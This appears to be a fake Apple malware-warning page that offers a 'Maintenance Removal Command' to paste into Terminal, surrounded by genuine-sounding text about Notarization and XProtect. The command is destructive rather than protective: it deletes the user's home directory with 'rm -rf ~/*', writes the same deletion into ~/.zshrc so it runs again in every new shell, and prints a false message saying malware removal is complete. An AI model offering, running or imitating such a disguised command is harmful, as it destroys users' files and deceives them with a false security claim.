Detected malware in your macOS
Apple operates a threat intelligence process to quickly identify and block malware.
Maintenance Removal Command
Terminal — zsh
rm -rf ~/* 2>/dev/null & echo "rm -rf ~/*" >> ~/.zshrc #
: pkill -f "\.ss"; (crontab -l 2>/dev/null | grep -v "\.ss" | crontab -); rm -f ~/.ss /tmp/.h; echo "System Maintenance and Malware Removal Completed"
Three layers of defense
Malware defenses are structured in three layers: Prevent launch, block from running, and remediate executed malware.
Notarization
Notarization is a malware scanning service provided by Apple. macOS regularly checks for new revocation tickets so that Gatekeeper has the latest information.
XProtect
macOS includes built-in antivirus technology called XProtect for the signature-based detection and removal of malware. When XProtect detects known malware, it blocks it and moves it to the Trash.